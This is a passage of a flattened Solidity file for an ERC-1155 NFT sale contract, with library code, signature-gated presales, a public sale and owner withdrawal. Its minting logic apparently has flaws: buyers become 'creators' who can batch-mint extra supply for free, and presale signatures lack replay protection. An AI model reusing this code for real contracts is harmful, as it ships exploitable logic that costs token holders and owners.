mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO"); return a % b; } } // File: node_modules\multi-token-standard\contracts\interfaces\IERC1155TokenReceiver.sol pragma solidity ^0.5.12; /** * @dev ERC-1155 interface for accepting safe transfers. */ interface IERC1155TokenReceiver { /** * @notice Handle the receipt of a single ERC1155 token type * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value MUST result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4); /** * @notice Handle the receipt of multiple ERC1155 token types * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value WILL result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeBatchTransferFrom` function * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _amounts An array containing amounts of each token being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4); /** * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more than 5,000 gas. * @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported. */ function supportsInterface(bytes4 interfaceID) external view returns (bool); } // File: node_modules\multi-token-standard\contracts\interfaces\IERC1155.sol pragma solidity ^0.5.12; interface IERC1155 { // Events /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount); /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts); /** * @dev MUST emit when an approval is updated */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** * @dev MUST emit when the URI is updated for a token ID * URIs are defined in RFC 3986 * The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema" */ event URI(string _amount, uint256 indexed _id); /** * @notice Transfers amount of an _id from the _from address to the _to address specified * @dev MUST emit TransferSingle event on success * Caller must be approved to manage the _from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if balance of sender for token `_id` is lower than the `_amount` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external; /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @dev MUST emit TransferBatch event on success * Caller must be approved to manage the _from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if length of `_ids` is not the same as length of `_amounts` * MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external; /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @dev MUST emit the ApprovalForAll event on success * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); } // File: node_modules\multi-token-standard\contracts\utils\Address.sol /** * Copyright 2018 ZeroEx Intl. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.12; /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } // File: multi-token-standard\contracts\tokens\ERC1155\ERC1155.sol pragma solidity ^0.5.12; // File: multi-token-standard\contracts\tokens\ERC1155\ERC1155Metadata.sol pragma solidity ^0.5.12; /** * @notice Contract that handles metadata related methods. * @dev Methods assume a deterministic generation of URI based on token IDs. * Methods also assume that URI uses hex representation of token IDs. */ contract ERC1155Metadata { // URI's default URI prefix string internal baseMetadataURI; event URI(string _uri, uint256 indexed _id); /***********************************| | Metadata Public Function s | |__________________________________*/ /** * @notice A distinct Uniform Resource Identifier (URI) for a given token. * @dev URIs are defined in RFC 3986. * URIs are assumed to be deterministically generated based on token ID * Token IDs are assumed to be represented in their hex format in URIs * @return URI string */ function uri(uint256 _id) public view returns (string memory) { return string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json")); } /***********************************| | Metadata Internal Functions | |__________________________________*/ /** * @notice Will emit default URI log event for corresponding token _id * @param _tokenIDs Array of IDs of tokens to log default URI */ function _logURIs(uint256[] memory _tokenIDs) internal { string memory baseURL = baseMetadataURI; string memory tokenURI; for (uint256 i = 0; i < _tokenIDs.length; i++) { tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json")); emit URI(tokenURI, _tokenIDs[i]); } } /** * @notice Will emit a specific URI log event for corresponding token * @param _tokenIDs IDs of the token corresponding to the _uris logged * @param _URIs The URIs of the specified _tokenIDs */ function _logURIs(uint256[] memory _tokenIDs, string[] memory _URIs) internal { require(_tokenIDs.length == _URIs.length, "ERC1155Metadata#_logURIs: INVALID_ARRAYS_LENGTH"); for (uint256 i = 0; i < _tokenIDs.length; i++) { emit URI(_URIs[i], _tokenIDs[i]); } } /** * @notice Will update the base URL of token's URI * @param _newBaseMetadataURI New base URL of token's URI */ function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal { baseMetadataURI = _newBaseMetadataURI; } /***********************************| | Utility Internal Functions | |__________________________________*/ /** * @notice Convert uint256 to string * @param _i Unsigned integer to convert to string */ function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 ii = _i; uint256 len; // Get number of bytes while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; // Get each individual ASCII while (ii != 0) { bstr[k--] = byte(uint8(48 + ii % 10)); ii /= 10; } // Convert to string return string(bstr); } } // File: node_modules\multi-token-standard\contracts\tokens\ERC1155\ERC1155.sol pragma solidity ^0.5.12; /** * @dev Implementation of Multi-Token Standard contract */ contract ERC1155 is IERC165 { using SafeMath for uint256; using Address for address; /***********************************| | Variables and Events | |__________________________________*/ // onReceive function signatures bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61; bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81; // Objects balances mapping (address => mapping(uint256 => uint256)) internal balances; // Operator Functions mapping (address => mapping(address => bool)) internal operators; // Events event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _uri, uint256 indexed _id); /***********************************| | Public Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public { require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR"); require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT"); // require(_amount >= balances[_from][_id]) is not necessary since checked with safemath operations _safeTransferFrom(_from, _to, _id, _amount); _callonERC1155Received(_from, _to, _id, _amount, _data); } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) public { // Requirements require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR"); require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT"); _safeBatchTransferFrom(_from, _to, _ids, _amounts); _callonERC1155BatchReceived(_from, _to, _ids, _amounts, _data); } /***********************************| | Internal Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount */ function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount) internal { // Update balances balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount // Emit event emit TransferSingle(msg.sender, _from, _to, _id, _amount); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...) */ function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { // Check if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received(msg.sender, _from, _id, _amount, _data); require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE"); } } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type */ function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts) internal { require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH"); // Number of transfer to execute uint256 nTransfer = _ids.length; // Executing all transfers for (uint256 i = 0; i < nTransfer; i++) { // Update storage balance of previous bin balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit event emit TransferBatch(msg.sender, _from, _to, _ids, _amounts); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...) */ function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { // Pass data if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived(msg.sender, _from, _ids, _amounts, _data); require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE"); } } /***********************************| | Operator Functions | |__________________________________*/ /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external { // Update operator status operators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) public view returns (bool isOperator) { return operators[_owner][_operator]; } /***********************************| | Balance Functions | |__________________________________*/ /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) public view returns (uint256) { return balances[_owner][_id]; } /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] memory _owners, uint256[] memory _ids) public view returns (uint256[] memory) { require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH"); // Variables uint256[] memory batchBalances = new uint256[](_owners.length); // Iterate over each owner and token ID for (uint256 i = 0; i < _owners.length; i++) { batchBalances[i] = balances[_owners[i]][_ids[i]]; } return batchBalances; } /***********************************| | ERC165 Functions | |__________________________________*/ /** * INTERFACE_SIGNATURE_ERC165 = bytes4(keccak256("supportsInterface(bytes4)")); */ bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; /** * INTERFACE_SIGNATURE_ERC1155 = * bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")) ^ * bytes4(keccak256("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)")) ^ * bytes4(keccak256("balanceOf(address,uint256)")) ^ * bytes4(keccak256("balanceOfBatch(address[],uint256[])")) ^ * bytes4(keccak256("setApprovalForAll(address,bool)")) ^ * bytes4(keccak256("isApprovedForAll(address,address)")); */ bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` and */ function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } } // File: multi-token-standard\contracts\tokens\ERC1155\ERC1155MintBurn.sol pragma solidity ^0.5.12; /** * @dev Multi-Fungible Tokens with minting and burning methods. These methods assume * a parent contract to be executed as they are `internal` functions */ contract ERC1155MintBurn is ERC1155 { /****************************************| | Minting Functions | |_______________________________________*/ /** * @notice Mint _amount of tokens of a given id * @param _to The address to mint tokens to * @param _id Token id to mint * @param _amount The amount to be minted * @param _data Data to pass if receiver is contract */ function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { // Add _amount balances[_to][_id] = balances[_to][_id].add(_amount); // Emit event emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount); // Calling onReceive method if recipient is contract _callonERC1155Received(address(0x0), _to, _id, _amount, _data); } /** * @notice Mint tokens for each ids in _ids * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _amounts Array of amount of tokens to mint per id * @param _data Data to pass if receiver is contract */ function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH"); // Number of mints to execute uint256 nMint = _ids.length; // Executing all minting for (uint256 i = 0; i < nMint; i++) { // Update storage balance balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts); // Calling onReceive method if recipient is contract _callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, _data); } /****************************************| | Burning Functions | |_______________________________________*/ /** * @notice Burn _amount of tokens of a given token id * @param _from The address to burn tokens from * @param _id Token id to burn * @param _amount The amount to be burned */ function _burn(address _from, uint256 _id, uint256 _amount) internal { //Substract _amount balances[_from][_id] = balances[_from][_id].sub(_amount); // Emit event emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount); } /** * @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair * @param _from The address to burn tokens from * @param _ids Array of token ids to burn * @param _amounts Array of the amount to be burned */ function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts) internal { require(_ids.length == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH"); // Number of mints to execute uint256 nBurn = _ids.length; // Executing all minting for (uint256 i = 0; i < nBurn; i++) { // Update storage balance balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts); } } // File: contracts\Strings.sol pragma solidity ^0.5.12; library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } } // File: contracts\ERC1155Tradable.sol pragma solidity ^0.5.12; contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC1155Tradable * ERC1155Tradable - ERC1155 contract that whitelists an operator address, has create and mint functionality, and supports useful standards from OpenZeppelin, like _exists(), name(), symbol(), and totalSupply() */ contract ERC1155Tradable is ERC1155, ERC1155MintBurn, ERC1155Metadata, Ownable { using Strings for string; //address proxyRegistryAddress; uint256 private _currentTokenID = 0; //uint256 private _maxTokenPerUser = 1000; //uint256 private _maxTokenPerMint = 10; uint256 private totalTokenAssets = 10000; uint256 private totalReserve = 388; uint256 private presales1MaxToken = 500; uint256 private presales2MaxToken = 2888; uint256 private sold = 0; uint256 private reservedMinted = 0; uint256 private presales1Minted = 0; uint256 private presales2Minted = 0; uint256 private preSalesPrice1 = 0.15 ether; uint256 private preSalesPrice2 = 0.18 ether; uint256 public publicSalesPrice = 0.28 ether; address private signerAddress = 0x5704AB048DaFdD4b3793BDe9F2E5ddf657588B18; uint16 public salesStage = 3; //1-presales1 , 2-presales2 , 3-public address payable public companyWallet = 0xD7EB092E721B23992185347256ca889d938096c2; mapping(uint256 => uint256) private _presalesPrice; mapping(address => uint256) public presales1minted; // To check how many tokens an address has minted during presales mapping(address => uint256) public presales2minted; // To check how many tokens an address has minted during presales mapping(address => uint256) public minted; // To check how many tokens an address has minted mapping (uint256 => address) public creators; mapping (uint256 => uint256) public tokenSupply; // Contract name string public name; // Contract symbol string public symbol; /** * @dev Require msg.sender to be the creator of the token id */ modifier creatorOnly(uint256 _id) { require(creators[_id] == msg.sender, "ERC1155Tradable#creatorOnly: ONLY_CREATOR_ALLOWED"); _; } /** * @dev Require msg.sender to own more than 0 of the token id */ modifier ownersOnly(uint256 _id) { require(balances[msg.sender][_id] > 0, "ERC1155Tradable#ownersOnly: ONLY_OWNERS_ALLOWED"); _; } constructor( string memory _name, string memory _symbol //address _proxyRegistryAddress ) public { name = _name; symbol = _symbol; //proxyRegistryAddress = _proxyRegistryAddress; } function uri( uint256 _id ) public view returns (string memory) { require(_exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); return Strings.strConcat( baseMetadataURI, Strings.uint2str(_id) ); } /** * @dev Returns the total quantity for a token ID * @param _id uint256 ID of the token to query * @return amount of token in existence */ function totalSupply( uint256 _id ) public view returns (uint256) { return tokenSupply[_id]; } /** * @dev Will update the base URL of token's URI * @param _newBaseMetadataURI New base URL of token's URI */ function setBaseMetadataURI( string memory _newBaseMetadataURI ) public onlyOwner { _setBaseMetadataURI(_newBaseMetadataURI); } /** * @dev Creates a new token type and assigns _initialSupply to an address * NOTE: remove onlyOwner if you want third parties to create new tokens on your contract (which may change your IDs) * @param _initialOwner address of the first owner of the token * @param _initialSupply amount to supply the first owner * @param _uri Optional URI for this token type * @param _data Data to pass if receiver is contract * @return The newly created token ID */ function reserve( address _initialOwner, uint256 _initialSupply, string calldata _uri, bytes calldata _data ) external onlyOwner returns (uint256) { require(reservedMinted + _initialSupply <= totalReserve, "Reserve Empty"); sold += _initialSupply; for (uint256 i = 0; i < _initialSupply; i++) { reservedMinted++; uint256 _id = reservedMinted; if (bytes(_uri).length > 0) { emit URI(_uri, _id); } creators[_id] = msg.sender; _mint(_initialOwner, _id, 1, _data); tokenSupply[_id] = 1; } return 0; } function toBytes(address a) public pure returns (bytes memory b){ assembly { let m := mload(0x40) a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, a)) mstore(0x40, add(m, 52)) b := m } } function addressToString(address _addr) internal pure returns(string memory) { bytes32 value = bytes32(uint256(_addr)); bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(42); str[0] = "0"; str[1] = "x"; for (uint i = 0; i < 20; i++) { str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))]; str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))]; } return string(str); } function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char( bytes1 b ) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) { uint8 i = 0; bytes memory bytesArray = new bytes(64); for (i = 0; i < bytesArray.length; i++) { uint8 _f = uint8(_bytes32[i/2] & 0x0f); uint8 _l = uint8(_bytes32[i/2] >> 4); bytesArray[i] = toByte(_f); i = i + 1; bytesArray[i] = toByte(_l); } return string(bytesArray); } function stringToBytes32(string memory source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function splitSignature(bytes memory sig) public pure returns (uint8, bytes32, bytes32) { require(sig.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } return (v, r, s); } function recoverSigner(bytes32 message, bytes memory sig) public pure returns (address) { uint8 v; bytes32 r; bytes32 s; (v, r, s) = splitSignature(sig); return ecrecover(message, v, r, s); } function isValidData(string memory _word, bytes memory sig) public view returns(bool){ bytes32 message = keccak256(abi.encodePacked(_word)); return (recoverSigner(message, sig) == signerAddress); } function toByte(uint8 _uint8) public pure returns (byte) { if(_uint8 < 10) { return byte(_uint8 + 48); } else { return byte(_uint8 + 87); } } function withdraw() public onlyOwner { uint256 balance = address(this).balance; companyWallet.transfer(balance); } function presales( address _initialOwner, uint256 _initialSupply, bytes calldata _sig, bytes calldata _data ) external payable returns (uint256) { require(salesStage == 1 || salesStage == 2, "Presales is closed"); require(sold + _initialSupply <= totalTokenAssets, "Max Token Minted"); require(isValidData(addressToString(msg.sender), _sig), addressToString(msg.sender)); if(salesStage == 1){ require(presales1Minted + _initialSupply <= presales1MaxToken, "Max Token Minted"); require(_initialSupply * preSalesPrice1 == msg.value , "Invalid Fund"); }else if(salesStage == 2){ require(presales2Minted + _initialSupply <= presales2MaxToken, "Max Token Minted"); require(_initialSupply * preSalesPrice2 == msg.value , "Invalid Fund"); } sold += _initialSupply; if(salesStage == 1){ presales1minted[_initialOwner] += _initialSupply; presales1Minted += _initialSupply; }else if(salesStage == 2){ presales2minted[_initialOwner] += _initialSupply; presales2Minted += _initialSupply; } minted[_initialOwner] += _initialSupply; for (uint256 i = 0; i < _initialSupply; i++) { uint256 _id = _getNextTokenID() + totalReserve; _incrementTokenTypeId(); creators[_id] = msg.sender; _mint(_initialOwner, _id, 1, _data); tokenSupply[_id] = 1; } return 0; } function publicsales( address _initialOwner, uint256 _initialSupply, string calldata _uri, bytes calldata _data ) external payable returns (uint256) { require(salesStage == 3 , "Public Sales Is Closed"); require(_initialSupply * publicSalesPrice == msg.value , "Invalid Fund"); require(sold + _initialSupply <= totalTokenAssets, "Max Token Minted"); sold += _initialSupply; minted[_initialOwner] += _initialSupply; for (uint256 i = 0; i < _initialSupply; i++) { uint256 _id = _getNextTokenID() + totalReserve; _incrementTokenTypeId(); if (bytes(_uri).length > 0) { emit URI(_uri, _id); } creators[_id] = msg.sender; _mint(_initialOwner, _id, 1, _data); tokenSupply[_id] = 1; } return 0; } function setSalesStage( uint16 stage ) public onlyOwner { salesStage = stage; } function setPublicSalesPrice( uint256 price ) public onlyOwner { publicSalesPrice = price; } function setCompanyWallet( address payable newWallet ) public onlyOwner { companyWallet = newWallet; } function ownerMint( address _initialOwner, uint256 _initialSupply, string calldata _uri, bytes calldata _data ) external onlyOwner returns (uint256) { require(sold + _initialSupply <= totalTokenAssets, "Max Token Minted"); sold += _initialSupply; for (uint256 i = 0; i < _initialSupply; i++) { uint256 _id = _getNextTokenID() + totalReserve; _incrementTokenTypeId(); if (bytes(_uri).length > 0) { emit URI(_uri, _id); } creators[_id] = msg.sender; _mint(_initialOwner, _id, 1, _data); tokenSupply[_id] = 1; } return 0; } function walletbalance( ) public view returns (uint256) { return address(this).balance; } /** * @dev Mint tokens for each id in _ids * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _quantities Array of amounts of tokens to mint per id * @param _data Data to pass if receiver is contract */ function batchMint( address _to, uint256[] memory _ids, uint256[] memory _quantities, bytes memory _data ) public { for (uint256 i = 0; i < _ids.length; i++) { uint256 _id = _ids[i]; require(creators[_id] == msg.sender, "ERC1155Tradable#batchMint: ONLY_CREATOR_ALLOWED"); uint256 quantity = _quantities[i]; tokenSupply[_id] = tokenSupply[_id].add(quantity); } _batchMint(_to, _ids, _quantities, _data); } /** * @dev Change the creator address for given tokens * @param _to Address of the new creator * @param _ids Array of Token IDs to change creator */ function setCreator( address _to, uint256[] memory _ids ) public { require(_to != address(0), "ERC1155Tradable#setCreator: INVALID_ADDRESS."); for (uint256 i = 0; i < _ids.length; i++) { uint256 id = _ids[i]; _setCreator(_to, id); } } /** * Override isApprovedForAll to whitelist user's 